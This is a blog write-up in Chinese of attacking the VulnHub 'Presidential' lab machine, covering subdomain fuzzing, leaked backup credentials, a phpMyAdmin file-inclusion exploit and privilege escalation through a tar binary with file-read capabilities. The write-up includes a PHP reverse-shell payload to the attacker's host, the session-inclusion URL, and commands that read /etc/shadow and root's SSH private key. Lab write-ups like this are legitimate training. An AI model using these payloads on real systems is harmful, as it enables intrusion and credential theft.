Vulnhub打靶记录:presidential

相关信息

kali:10.0.0.8/24

靶机:10.0.0.10/24

靶机介绍:Presidential: 1 ~ VulnHub

靶机下载:https://download.vulnhub.com/presidential/Presidential.ova

目标:2个 flag + root权限

难度:中

未提及的相关知识点,命令和代码等等可以查看我其他三个blog:

文字思路

全流程思路:

  • 主机发现 端口扫描
  • 信息搜集:目录爬取是关键
  • 备份文件:这个打靶目前为止我遇到的比较少,但却非常最重要。
  • 子域名爆破:相关工具的使用
  • phpmyadmin:重中之重
  • 密码爆破 本地文件爆破
  • Capabilities:当常规的权限漏洞查找无法使用时,可以考虑这种权限机制 (重中之重
  • 本地权限漏洞 SSH公钥认证(主要考察点

下意识的操作

  1. 通过网页信息中的邮箱信息来确定域名
  2. 查看 phpadmin或其它开源框架版本的方法可以直接在 URL中键入 /README来尝试查看。

具体流程

信息搜集

  1. 主机发现,端口扫描,版本探测,TRACE这种请求方法到现在这个时代应该也没有什么漏洞了。而且值得注意的是在 2082这个非常规的端口上开放的是 ssh服务。 WEB的TRACE是什么请求方法?

    Snipaste_2023-06-13_18-43-54
  2. 通过访问靶机的开放的 80网页,发现votenow.local的域名邮箱。尝试将其加入 /etc/hosts中,再次以域名访问该网页,依然没有什么变化😭。对网页源码,robust.txt,抓包也一无所获😭

    Snipaste_2023-06-13_19-12-20

  3. 进行网页相关目录的爬取dirsearch -u http://10.0.0.10,重点关注 config.php.bak这个备份文件。访问擦看源码直接获得数据库的用户名和登陆密码 votebox: casoj3FFASPsbyoRP,尝试进行 ssh登陆。( cgi-bin进行迭代的目录爬取,但没有有效信息。)

    Snipaste_2023-06-13_19-14-40 Snipaste_2023-06-13_19-17-08
  4. 尝试进行 ssh登陆结果也是大失所望😂,直接拒绝。但提示能进行 公钥的登陆方式,所以目前获得的账号密码还派不上用场。

    Snipaste_2023-06-13_19-40-50
  5. 域名爆破,键入下面命令爆破出主机名为 datasafe,将该域名 datasafe.votenow.local来访问这个网站,发现为一个后台网页,将入我们刚刚获取的密码是能够成功登陆的。

    wfuzz -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -H "Host: FUZZ.votenow.local" --hw 854 --hc 400 votenow.local
    
    image-20230613203103062 image-20230613200440648 image-20230613200513138
  6. 通过 /README的读取来获得 phpadmin的版本信息。同时浏览相关的数据库发现个非常具有提示意义的信息。

    admin:$2y$12$d/nOEjKNgk/epF2BeAFaMu8hW4ae3JJk8ITyh48q97awT/G7eQ11i

    image-20230614150157394

phpmyadmin漏洞

  1. 通过 phpmyadmin的版本来发现相关的漏洞,按照漏洞的危害来依次的尝试执。

    image-20230614150319203
  2. 第一个 REC漏洞,用脚本提示的方法多次尝试该漏洞,都是发现无功而返😭(记住ip一定为域名,只有域名解析时才有后台登陆界面)。

    image-20230614150927629

  3. 第二个本地文件包含漏洞 fiel include(2):查看漏洞相关的说明,以下为漏洞使用的相关说明。

    注意:在这个http的url请求payload中有个错误,那就是/php/sessions应该改为/php/session才能够正常的执行

    1. Run SQL Query : select '<?php system("bash -i >& /dev/tcp/10.0.0.8/4444 0>&1 ");exit;?>'		# 先在后台进行一次sql查询
    2. Include the session file : # 然后用下面的url来进行请求执行上面sql插入的恶意代码,从而执行。该url包含的服务器本次登陆的session文件
    http://datasafe.votenow.local/index.php? 	target=db_sql.php%253f/../../../../../../../../var/lib/php/session/sess_dnsr1d3bh63eek7hotfsk1ivfuveentu  # 这是urlpaylaod, 注意/session/sess_  后面需要是自己当前访问的session
    

    其实就是通过登陆后台后,使用一次恶意的sql查询语句。然后再通携带session的url进行访问,从而从而来触发恶意代码。

    同时注意session的有效性,最好使用一次这个漏洞就退出,重新登陆刷新一下session后再利用该漏洞。

    • 后台执行 sql语句

      image-20230614154645434
    • session的获得方式按 F12即可

      image-20230614153426986

  4. 然后键入漏洞提供的 url可以发现成功的反弹shell,通过网页一直在加载数据也可以看出反弹成功。

    image-20230614155416226

信息收集

  1. 查看相关的文件,发现一个非常重要的用户 admin。同时结合上面在后台数据库获得用户 admin和密码,可以大胆猜测那个 hash密码应该就是当前用户的密码。

    需要注意的是这个靶机的内核虽然比较老,但是exp好像都无法直接的利用。

    image-20230614155557818
  2. 先将 $2y$12$d/nOEjKNgk/epF2BeAFaMu8hW4ae3JJk8ITyh48q97awT/G7eQ11i写入到 hash文件中,然后利用 john进行爆破,得出密码为 Stella

    image-20230614161703633

    使用 rockyou.txt是可以爆破出这个密码的,只是耗时非常长。

第一次提权

  1. 利用获的密码尝试切换为 admin账户,成功后升级 shell

    image-20230614161941797

  2. 获取第一个 flag,同时在用户目录下面可以看到作者给了一个提示 notes.txt。该提示文件提示我们去压缩一些敏感的文件,不过现在我们是没有什么头绪的。

    image-20230615154331199

Capabilities

  1. 进行相关权限漏洞的查找如:suid,sudo -l等都是没有什么常规权限的漏洞。但对 Capabilities的漏洞进行相关的测试时候发现了以下程序: getcap -r / 2>/dev/null用来查看哪些程序进行了 Capabilities的设置

    image-20230615154520356
  2. 当对上面文件挨个查看,直到 /usr/bin/tarS时。它具有 cap_dac_read_search权限,同时属主还是admin。由于 Capbilities权限是独立于 linux的权利管理系统,是可以不需要 root用户启动就可以读取任意文件,结合刚刚的提示消息 :压缩敏感信息

    思路呼之欲出:通过这个 Capbilities设置错误的压缩程序,来读取任意敏感的文件来提权。

    image-20230615154641559
    • linuxtar就是一个压缩工具,可以想象 tarS也是一样的用法。

      image-20230615154759452
  3. 尝试压缩shadow文件,并将其读取。当读取成功后依然是利用 john工具来进行密码的爆破,但无法成功而且耗时非常长,这条路走不通。

    • 读取 shadow文件:tarS -cvf shadow.tar /etc/shadow ,就是需要注意读取权限的问题,记得赋予 700权限。

      image-20230615155918964
    • 解压读取的 shadow文件: tar -xvf shadow.tar,赋予权限后进行读取从而得到 rootshadow

      image-20230615160232806

  4. 虽然 shadow的这个思路无法成功,但依然重要。回顾之前的打靶当尝试连接 ssh登陆时系统是提示只能进行 公钥的登陆方式,而现在又可以进行任意文件的读取,所以获得 root: ssh的公钥就成了突破方向

    • tarS -cvf k.tar /root/.ssh/id_rsa:尝试获取公钥

      image-20230615161253098
    • tar-xvf k.tar:在读取公钥后,进入到目录查看公钥

      image-20230615161449737
  5. 自接利用公钥进行登陆尝试,获取 flag,完成打靶。(记得指定地址

    image-20230615161853342

相关工具/命令

命令

tar

  1. what?

    tar命令能够将多个文件或目录打包成一个单独的文件,同时还可以对已打包的文件进行压缩。

  2. 具体使用

    1. tar -cvf archive.tar file1 file2 file3:压缩命令
    2. tar -xvf archive.tar:解压命令

工具

wfuzz

  1. what?

    Web应用程序扫描和渗透测试工具,用于对目标网站进行强力和定制化的Web内容扫描。可以实现下列功能:

    • 目录和文件扫描:

    • 多种攻击模式:它可以通过替换URL路径中的特定参数或值来自定义攻击模式,以满足特定需求。

    • 自定义参数和数据:HTTP请求的各种参数和数据,包括请求方法(GET、POST等)、请求标头、Cookie、POST数据等。

    • 强大的过滤和替换功能:这对于过滤出感兴趣的结果、排除错误页面或定制报告非常有用。

    • 支持代理:以便在渗透测试过程中隐藏真实的IP地址或使用其他代理功能。

  2. 具体实例

    1. wfuzz -w dic.txt -H "Host: FUZZ.votenow.local" --hw 854 --hc 400 votenow.local

      该命令用于对 votenow.local域名进行主机名的发现。

      • -H:指定了访问的主机域名
      • FUZZ:是一个替换字符,用于将 dic.txt中的爆破和 .votenow.local进行拼接
      • --hw 854:设置等待时间为854毫秒。在发送每个请求后,wfuzz将等待指定的时间以获取响应。
      • --hc 400:设置忽略的响应代码。wfuzz将忽略响应代码为400的请求,即HTTP状态码为400的请求响应。

复盘/相关知识

了解

TRACE请求方法

  1. what? 返回

    ​ HTTP协议的一个请求方法,用于在客户端和服务器之间传输调试信息。它允许客户端发起一个请求并在服务器端返回原始请求的副本,这对于调试和故障排除非常有用。

  2. 相关漏洞

    ​ 需要注意的是,TRACE漏洞在现代的Web应用程序和服务器上很少存在,因为该漏洞已经得到广泛的认识和解决。

    ​ 在过去的一些版本中,TRACE请求方法存在一种安全漏洞,称为TRACE漏洞或TRACE跨站脚本攻击(XST)。这个漏洞利用了TRACE方法的工作方式,将用户发送的数据回显到响应中,从而导致潜在的跨站脚本(XSS)攻击。

posted @ 2023-06-29 19:34  C_CHL  阅读(124)  评论(0编辑  收藏  举报